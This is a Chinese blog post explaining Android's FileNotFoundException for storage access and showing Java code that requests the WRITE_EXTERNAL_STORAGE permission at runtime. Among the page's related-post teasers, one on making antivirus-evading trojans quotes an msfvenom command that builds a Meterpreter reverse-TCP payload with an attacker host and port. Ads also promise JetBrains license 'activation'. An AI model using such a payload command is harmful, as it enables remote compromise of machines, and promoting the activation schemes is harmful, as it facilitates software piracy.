android 抛出FileNotFoundException异常

android 抛出FileNotFoundException异常大家都知道,Android6.0中,某些权限属于ProtectedPermission,例如:读写手机存储权限,仅仅在AndroidManifest.xml中申明是无法真正获取到权限的,打开手机的权限管理页面,我们可以看见,读写手机存储权限栏是一个问号,这意味着App并未获取到该权限。这是访问手机存储时,会报出类似下面的错误:java.io.FileNotFoundExcept…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全家桶1年46,售后保障稳定

大家都知道,Android 6.0中,某些权限属于Protected Permission,例如:读写手机存储权限,仅仅在AndroidManifest.xml中申明是无法真正获取到权限的,打开手机的权限管理页面,我们可以看见,读写手机存储权限栏是一个问号,这意味着App并未获取到该权限。
这是访问手机存储时,会报出类似下面的错误:
     java.io.FileNotFoundException:*** (Permission denied)
有一个简单粗暴的方法,就是在App安装完成之后,手动在手机上将该权限改为允许。但是这种方法太low了,给用户带来的体验也很差。我们希望通过代码动态的获取此权限,用户只需要在第一次安装时,在弹出的窗口点击一下允许,就可以啦。
实现代码:
if (Build.VERSION.SDK_INT >= 23) {
    int REQUEST_CODE_CONTACT = 101;
    String[] permissions = {Manifest.permission.WRITE_EXTERNAL_STORAGE};
    //验证是否许可权限
    for (String str : permissions) {
    if (this.checkSelfPermission(str) != PackageManager.PERMISSION_GRANTED) {
         //申请权限
            this.requestPermissions(permissions, REQUEST_CODE_CONTACT);
        }
    }
}

Jetbrains全家桶1年46,售后保障稳定

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/226589.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 2021Kali — 木马免杀制作

    2021Kali — 木马免杀制作​知道为什么梦里的人都看不清脸么?因为怕你当真。。。—-网易云热评一、通过MSF生成shellcode1、启动MSF,演示版本是6.0.362、通过msfvenom生成相关代码msfvenom-pwindows/meterpreter/reverse_tcp-ex86/shikata_ga_nai-i12-b’\x00’lhost=192.168.139.133lport=8585-fc-p:指定payload-e:指定选择使用的编码…

  • pushd命令「建议收藏」

    1)功能pushd命令常用于将目录加入到栈中,加入记录到目录栈顶部,并切换到该目录;若pushd命令不加任何参数,则会将位于记录栈最上面的2个目录对换位置2)语法(1)格式:pushd [目录|-N|+N]  [-n](2)选项目录  将该目录加入到栈顶,并执行"cd目录",切换到该目录+N  将第N个目录移至栈顶(从左边数起,数字从0开始)-N   将第N个目录移至栈顶(从右…

  • 命令行升级pip_pip升级版本命令

    命令行升级pip_pip升级版本命令查询当前pythonpip版本:pipshowpip输入python-mpipinstall–upgradepip命令升级;报错:ERROR:CouldnotinstallpackagesduetoanEnvironmentError:[WinError5]拒绝访问。:‘c:\programfiles\python37\lib\site-packages\pip-19.2.3.dist-info\entry_points.txt’Considerusin.

    2022年10月31日
  • 史上最全正则表达式语法,文末附常用表达式![通俗易懂]

    史上最全正则表达式语法,文末附常用表达式![通俗易懂]废话少说,直接开始学习!一、元字符元字符是构造正则表达式的一种基本元素。.:匹配除换行符以外的任意字符w:匹配字母或数字或下划线或汉字s:匹配任意的空白符d:匹配数字b:匹配单词的开始或结束^:匹配字符串的开始$:匹配字符串的结束匹配有abc开头的字符串:abc或者^abc匹配8位数字的QQ号码:^dddddddd$匹配1开头11位数字的手机号码…

  • 音视频技术开发周刊 67期

    音视频技术开发周刊 67期

  • Wireshark抓包——ICMP协议分析

    Wireshark抓包——ICMP协议分析内容:使用Wireshark抓包,分析较简单的数据包。环境:Windows7,Wireshark。ping是用来测试网络连通性的命令。一旦发出ping命令,主机会发出连续的测试数据包到网络中,在通常的情况下,主机会收到回应数据包,ping采用的是ICMP协议。例1:对pingwww.baidu.com进行抓包和分析,过程如下:第一步,确定目标地址,选择www.b…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号